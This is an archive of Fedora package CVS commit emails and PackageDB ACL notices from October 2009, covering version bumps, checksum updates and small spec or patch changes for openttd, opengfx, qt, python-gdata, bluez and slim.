retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openttd-opengfx.spec	23 Aug 2009 14:12:34 -0000	1.2
+++ openttd-opengfx.spec	10 Oct 2009 10:12:41 -0000	1.3
@@ -1,9 +1,9 @@
 %define realname opengfx
-%define prever   alpha6
+#define prever   alpha6
 
 Name:           openttd-opengfx
-Version:        0.1.0
-Release:        0.1%{?prever:.%{prever}}%{?dist}
+Version:        0.1.1
+Release:        1%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
@@ -46,7 +46,10 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 
 
 %check
-cd $RPM_BUILD_ROOT%{_datadir}/openttd/data
+cd opengfx-nightly
+# Split md5sums out of .obg file and check it
+sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
+    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
 
 
 %clean
@@ -61,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
+- New upstream release 0.1.1
+- Check md5sums of resulting files
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.1.0-0.1.alpha6
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 Aug 2009 14:12:34 -0000	1.3
+++ sources	10 Oct 2009 10:12:41 -0000	1.4
@@ -1 +1 @@
-b4441f9d3397b006ca25495935675fa1  opengfx-0.1.0-alpha6-source.tar.gz
+716f4a7e27090ef2c0c89bdc48462f42  opengfx-0.1.1-source.tar.gz



From atorkhov at fedoraproject.org  Sat Oct 10 10:12:58 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:12:58 +0000 (UTC)
Subject: rpms/openttd/F-11 .cvsignore, 1.4, 1.5 openttd.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091010101258.7AFE811C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20753

Modified Files:
	.cvsignore openttd.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
- New upstream release 0.7.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	23 Aug 2009 15:16:41 -0000	1.4
+++ .cvsignore	10 Oct 2009 10:12:58 -0000	1.5
@@ -1 +1 @@
-openttd-0.7.2-source.tar.bz2
+openttd-0.7.3-source.tar.bz2


Index: openttd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-11/openttd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- openttd.spec	23 Aug 2009 15:16:41 -0000	1.5
+++ openttd.spec	10 Oct 2009 10:12:58 -0000	1.6
@@ -2,7 +2,7 @@
 #define prever RC2
 
 Name:           openttd
-Version:        0.7.2
+Version:        0.7.3
 Release:        1%{?dist}
 Summary:        Transport system simulation game
 
@@ -116,6 +116,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
+- New upstream release 0.7.3
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.7.2-1
 - new upstream release 0.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	23 Aug 2009 15:16:41 -0000	1.4
+++ sources	10 Oct 2009 10:12:58 -0000	1.5
@@ -1 +1 @@
-d151f67a95b8e8a239ad72c1c3864b65  openttd-0.7.2-source.tar.bz2
+fe8a006b8bd94fd86a9d8c2a04fe7558  openttd-0.7.3-source.tar.bz2



From atorkhov at fedoraproject.org  Sat Oct 10 10:14:42 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:14:42 +0000 (UTC)
Subject: rpms/openttd/F-10 .cvsignore, 1.4, 1.5 openttd.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091010101442.C080411C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21053

Modified Files:
	.cvsignore openttd.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
- New upstream release 0.7.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	23 Aug 2009 15:18:20 -0000	1.4
+++ .cvsignore	10 Oct 2009 10:14:42 -0000	1.5
@@ -1 +1 @@
-openttd-0.7.2-source.tar.bz2
+openttd-0.7.3-source.tar.bz2


Index: openttd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-10/openttd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- openttd.spec	23 Aug 2009 15:18:20 -0000	1.5
+++ openttd.spec	10 Oct 2009 10:14:42 -0000	1.6
@@ -2,7 +2,7 @@
 #define prever RC2
 
 Name:           openttd
-Version:        0.7.2
+Version:        0.7.3
 Release:        1%{?dist}
 Summary:        Transport system simulation game
 
@@ -116,6 +116,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.7.3-1
+- New upstream release 0.7.3
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.7.2-1
 - new upstream release 0.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	23 Aug 2009 15:18:20 -0000	1.4
+++ sources	10 Oct 2009 10:14:42 -0000	1.5
@@ -1 +1 @@
-d151f67a95b8e8a239ad72c1c3864b65  openttd-0.7.2-source.tar.bz2
+fe8a006b8bd94fd86a9d8c2a04fe7558  openttd-0.7.3-source.tar.bz2



From atorkhov at fedoraproject.org  Sat Oct 10 10:14:47 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Sat, 10 Oct 2009 10:14:47 +0000 (UTC)
Subject: rpms/openttd-opengfx/F-10 .cvsignore, 1.3, 1.4 openttd-opengfx.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091010101447.59AD211C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/openttd-opengfx/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21087

Modified Files:
	.cvsignore openttd-opengfx.spec sources 
Log Message:
* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- New upstream release 0.1.1
- Check md5sums of resulting files



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 Aug 2009 14:19:07 -0000	1.3
+++ .cvsignore	10 Oct 2009 10:14:47 -0000	1.4
@@ -1 +1 @@
-opengfx-0.1.0-alpha6-source.tar.gz
+opengfx-0.1.1-source.tar.gz


Index: openttd-opengfx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-10/openttd-opengfx.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openttd-opengfx.spec	23 Aug 2009 14:19:07 -0000	1.2
+++ openttd-opengfx.spec	10 Oct 2009 10:14:47 -0000	1.3
@@ -1,9 +1,9 @@
 %define realname opengfx
-%define prever   alpha6
+#define prever   alpha6
 
 Name:           openttd-opengfx
-Version:        0.1.0
-Release:        0.1%{?prever:.%{prever}}%{?dist}
+Version:        0.1.1
+Release:        1%{?prever:.%{prever}}%{?dist}
 Summary:        OpenGFX replacement graphics for OpenTTD
 
 Group:          Amusements/Games
@@ -46,7 +46,10 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 
 
 %check
-cd $RPM_BUILD_ROOT%{_datadir}/openttd/data
+cd opengfx-nightly
+# Split md5sums out of .obg file and check it
+sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
+    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
 
 
 %clean
@@ -61,6 +64,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
+- New upstream release 0.1.1
+- Check md5sums of resulting files
+
 * Sun Aug 23 2009 Felix Kaechele <heffer at fedoraproject.org> - 0.1.0-0.1.alpha6
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openttd-opengfx/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 Aug 2009 14:19:07 -0000	1.3
+++ sources	10 Oct 2009 10:14:47 -0000	1.4
@@ -1 +1 @@
-b4441f9d3397b006ca25495935675fa1  opengfx-0.1.0-alpha6-source.tar.gz
+716f4a7e27090ef2c0c89bdc48462f42  opengfx-0.1.1-source.tar.gz



From than at fedoraproject.org  Sat Oct 10 11:03:25 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sat, 10 Oct 2009 11:03:25 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.341,1.342
Message-ID: <20091010110325.57FE811C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29401

Modified Files:
	qt.spec 
Log Message:
fix translation build issue



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.341
retrieving revision 1.342
diff -u -p -r1.341 -r1.342
--- qt.spec	10 Oct 2009 10:05:20 -0000	1.341
+++ qt.spec	10 Oct 2009 11:03:25 -0000	1.342
@@ -514,6 +514,9 @@ rm -rf %{buildroot}
 
 make install INSTALL_ROOT=%{buildroot}
 
+# recreate .qm files
+bin/lrelease translations/*.ts
+
 # Add desktop file(s)
 desktop-file-install \
   --dir=%{buildroot}%{_datadir}/applications \



From than at fedoraproject.org  Sat Oct 10 11:09:19 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sat, 10 Oct 2009 11:09:19 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.342,1.343
Message-ID: <20091010110919.7F3B111C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30853

Modified Files:
	qt.spec 
Log Message:
fix translation build issue 



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.342
retrieving revision 1.343
diff -u -p -r1.342 -r1.343
--- qt.spec	10 Oct 2009 11:03:25 -0000	1.342
+++ qt.spec	10 Oct 2009 11:09:18 -0000	1.343
@@ -508,15 +508,14 @@ done
 
 make %{?_smp_mflags}
 
+# recreate .qm files
+bin/lrelease translations/*.ts
 
 %install
 rm -rf %{buildroot}
 
 make install INSTALL_ROOT=%{buildroot}
 
-# recreate .qm files
-bin/lrelease translations/*.ts
-
 # Add desktop file(s)
 desktop-file-install \
   --dir=%{buildroot}%{_datadir}/applications \



From hadess at fedoraproject.org  Sat Oct 10 12:32:32 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 10 Oct 2009 12:32:32 +0000 (UTC)
Subject: rpms/python-gdata/devel .cvsignore, 1.13, 1.14 python-gdata.spec,
	1.22, 1.23 sources, 1.13, 1.14
Message-ID: <20091010123232.8959C11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/python-gdata/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15604

Modified Files:
	.cvsignore python-gdata.spec sources 
Log Message:
* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 2.0.3-1
- Update to 2.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-gdata/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	1 Sep 2009 14:06:17 -0000	1.13
+++ .cvsignore	10 Oct 2009 12:32:32 -0000	1.14
@@ -1 +1 @@
-gdata-2.0.2.tar.gz
+gdata-2.0.3.tar.gz


Index: python-gdata.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-gdata/devel/python-gdata.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- python-gdata.spec	1 Sep 2009 14:06:17 -0000	1.22
+++ python-gdata.spec	10 Oct 2009 12:32:32 -0000	1.23
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-gdata
-Version:        2.0.2
+Version:        2.0.3
 Release:        1%{?dist}
 Summary:        A Python module for accessing online Google services
 
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 2.0.3-1
+- Update to 2.0.3
+
 * Tue Sep 01 2009 Bastien Nocera <bnocera at redhat.com> 2.0.2-1
 - Update to 2.0.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-gdata/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	1 Sep 2009 14:06:17 -0000	1.13
+++ sources	10 Oct 2009 12:32:32 -0000	1.14
@@ -1 +1 @@
-8e886c7925d34ae0f9a5b9a094e790c5  gdata-2.0.2.tar.gz
+43d4975caeebbe8d64e101638be966cd  gdata-2.0.3.tar.gz



From hadess at fedoraproject.org  Sat Oct 10 12:32:53 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 10 Oct 2009 12:32:53 +0000 (UTC)
Subject: rpms/bluez/F-12 .cvsignore, 1.49, 1.50 bluez.spec, 1.101,
	1.102 sources, 1.49, 1.50
Message-ID: <20091010123253.DFA9B11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15726

Modified Files:
	.cvsignore bluez.spec sources 
Log Message:
* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 4.56-1
- Update to 4.56



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	5 Oct 2009 09:29:42 -0000	1.49
+++ .cvsignore	10 Oct 2009 12:32:53 -0000	1.50
@@ -1 +1 @@
-bluez-4.55.tar.gz
+bluez-4.56.tar.gz


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/bluez.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- bluez.spec	9 Oct 2009 14:53:40 -0000	1.101
+++ bluez.spec	10 Oct 2009 12:32:53 -0000	1.102
@@ -1,7 +1,7 @@
 Summary: Bluetooth utilities
 Name: bluez
-Version: 4.55
-Release: 3%{?dist}
+Version: 4.56
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 Source: http://www.kernel.org/pub/linux/bluetooth/%{name}-%{version}.tar.gz
@@ -272,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Sat Oct 10 2009 Bastien Nocera <bnocera at redhat.com> 4.56-1
+- Update to 4.56
+
 * Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-3
 - Update cable pairing plugin to use libudev
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/sources,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- sources	5 Oct 2009 09:29:43 -0000	1.49
+++ sources	10 Oct 2009 12:32:53 -0000	1.50
@@ -1 +1 @@
-febbbbb512eb5ed9c28aa8008ae952a7  bluez-4.55.tar.gz
+92ea2e86a5489f0d16567920f2ec9b36  bluez-4.56.tar.gz



From pkgdb at fedoraproject.org  Sat Oct 10 12:41:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:41:31 +0000
Subject: [pkgdb] slim: arbiter has given up watchbugzilla
Message-ID: <20091010124131.1062610F88F@bastion2.fedora.phx.redhat.com>

arbiter has given up the watchbugzilla acl on slim (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/slim



From pkgdb at fedoraproject.org  Sat Oct 10 12:41:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:41:31 +0000
Subject: [pkgdb] slim: arbiter has given up watchcommits
Message-ID: <20091010124131.24C3D10F8A1@bastion2.fedora.phx.redhat.com>

arbiter has given up the watchcommits acl on slim (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/slim



From pkgdb at fedoraproject.org  Sat Oct 10 12:41:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:41:32 +0000
Subject: [pkgdb] slim: arbiter has given up commit
Message-ID: <20091010124132.4D20210F8A8@bastion2.fedora.phx.redhat.com>

arbiter has given up the commit acl on slim (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/slim



From pkgdb at fedoraproject.org  Sat Oct 10 12:41:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:41:33 +0000
Subject: [pkgdb] slim: arbiter has given up approveacls
Message-ID: <20091010124133.EAAC410F8AC@bastion2.fedora.phx.redhat.com>

arbiter has given up the approveacls acl on slim (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/slim



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:13 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchbugzilla
Message-ID: <20091010125313.E0AE310F88F@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchbugzilla acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:20 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchcommits
Message-ID: <20091010125320.2625310F895@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchcommits acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:22 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested commit
Message-ID: <20091010125322.8E74610F8A3@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the commit acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:25 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested approveacls
Message-ID: <20091010125325.11D9610F895@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the approveacls acl on openal-soft (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:36 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchbugzilla
Message-ID: <20091010125336.81A2410F88F@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchbugzilla acl on openal-soft (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:38 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchcommits
Message-ID: <20091010125338.DBC4610F8A1@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchcommits acl on openal-soft (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:40 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested commit
Message-ID: <20091010125340.BC74410F8A4@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the commit acl on openal-soft (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:42 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested approveacls
Message-ID: <20091010125342.AFFE010F8A8@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the approveacls acl on openal-soft (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:47 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchbugzilla
Message-ID: <20091010125347.6B87F10F8A3@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchbugzilla acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:50 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested watchcommits
Message-ID: <20091010125350.1CE3C10F8A8@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the watchcommits acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:51 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested commit
Message-ID: <20091010125352.0EC8E10F8AC@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the commit acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Sat Oct 10 12:53:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 12:53:53 +0000
Subject: [pkgdb] openal-soft: jwrdegoede has requested approveacls
Message-ID: <20091010125354.03E6E10F8AD@bastion2.fedora.phx.redhat.com>

jwrdegoede has requested the approveacls acl on openal-soft (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From arbiter at fedoraproject.org  Sat Oct 10 13:01:19 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:01:19 +0000 (UTC)
Subject: rpms/slim/devel slim-1.3.1-selinux.patch, NONE, 1.1 slim.spec, 1.17,
	1.18
Message-ID: <20091010130119.6778F11C00DB@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19034

Modified Files:
	slim.spec 
Added Files:
	slim-1.3.1-selinux.patch 
Log Message:
* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
- Fix BZ #518068


slim-1.3.1-selinux.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-selinux.patch ---
diff -Naur slim-1.3.1.orig/slim.conf slim-1.3.1/slim.conf
--- slim-1.3.1.orig/slim.conf	2009-10-10 14:53:36.869317460 +0200
+++ slim-1.3.1/slim.conf	2009-10-10 14:54:03.951442584 +0200
@@ -14,7 +14,7 @@
 xauth_path         /usr/bin/xauth 
 
 # Xauth file for server
-authfile           /var/run/slim.auth
+authfile           /var/run/slim/slim.auth
 
 
 # Activate numlock when slim starts. Valid values: on|off


Index: slim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/slim/devel/slim.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- slim.spec	27 Jul 2009 04:27:05 -0000	1.17
+++ slim.spec	10 Oct 2009 13:01:12 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           slim
 Version:        1.3.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Simple Login Manager
 
 Group:          User Interface/X
@@ -14,12 +14,14 @@ Source2:        slim-update_slim_wmlist
 Source3:        slim-fedora.txt
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# TODO: Post these patches to upstream BTS
 Patch0:         slim-1.3.1-make.patch
 Patch1:         slim-1.3.1-usexwd.patch
 Patch2:         slim-1.3.1-fedora.patch
 Patch3:         slim-1.3.1-strtol.patch
 Patch4:         slim-1.3.1-remove.patch
 Patch5:         slim-1.3.1-curdir.patch
+Patch6: 	slim-1.3.1-selinux.patch
 
 BuildRequires:  libXmu-devel libXft-devel libXrender-devel
 BuildRequires:  libpng-devel libjpeg-devel freetype-devel fontconfig-devel
@@ -53,6 +55,7 @@ before launching slim.
 %patch3 -p1 -b .gcc43
 %patch4 -p1 -b .gcc44
 %patch5 -p1 -b .curdir
+%patch6 -p1 -b .selinux
 cp -p %{SOURCE3} README.Fedora
 
 %build
@@ -104,6 +107,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
+- Fix BZ #518068
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.1-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From arbiter at fedoraproject.org  Sat Oct 10 13:08:12 2009
From: arbiter at fedoraproject.org (Lorenzo Villani)
Date: Sat, 10 Oct 2009 13:08:12 +0000 (UTC)
Subject: rpms/slim/F-12 slim-1.3.1-selinux.patch, NONE, 1.1 slim.spec, 1.17,
	1.18
Message-ID: <20091010130813.0F56811C00DB@cvs1.fedora.phx.redhat.com>

Author: arbiter

Update of /cvs/pkgs/rpms/slim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19842

Modified Files:
	slim.spec 
Added Files:
	slim-1.3.1-selinux.patch 
Log Message:
* Sat Oct 10 2009 Lorenzo Villani <lvillani at binaryhelix.net> - 1.3.1-8
- Fix BZ #518068


slim-1.3.1-selinux.patch:
 slim.conf |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slim-1.3.1-selinux.patch ---
diff -Naur slim-1.3.1.orig/slim.conf slim-1.3.1/slim.conf
--- slim-1.3.1.orig/slim.conf	2009-10-10 14:53:36.869317460 +0200
+++ slim-1.3.1/slim.conf	2009-10-10 14:54:03.951442584 +0200
@@ -14,7 +14,7 @@
 xauth_path         /usr/bin/xauth 
 
 # Xauth file for server
-authfile           /var/run/slim.auth
+authfile           /var/run/slim/slim.auth
 
 
 # Activate numlock when slim starts. Valid values: on|off


Index: slim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/slim/F-12/slim.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- slim.spec	27 Jul 2009 04:27:05 -0000	1.17
+++ slim.spec	10 Oct 2009 13:08:12 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           slim
 Version:        1.3.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Simple Login Manager
 
 Group:          User Interface/X
@@ -14,12 +14,14 @@ Source2:        slim-update_slim_wmlist
 Source3:        slim-fedora.txt
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+# TODO: Post these patches to upstream BTS
 Patch0:         slim-1.3.1-make.patch
 Patch1:         slim-1.3.1-usexwd.patch
 Patch2:         slim-1.3.1-fedora.patch
 Patch3:         slim-1.3.1-strtol.patch
 Patch4:         slim-1.3.1-remove.patch
 Patch5:         slim-1.3.1-curdir.patch
+Patch6: 	slim-1.3.1-selinux.patch
 
 BuildRequires:  libXmu-devel libXft-devel libXrender-devel
 BuildRequires:  libpng-devel libjpeg-devel freetype-devel fontconfig-devel
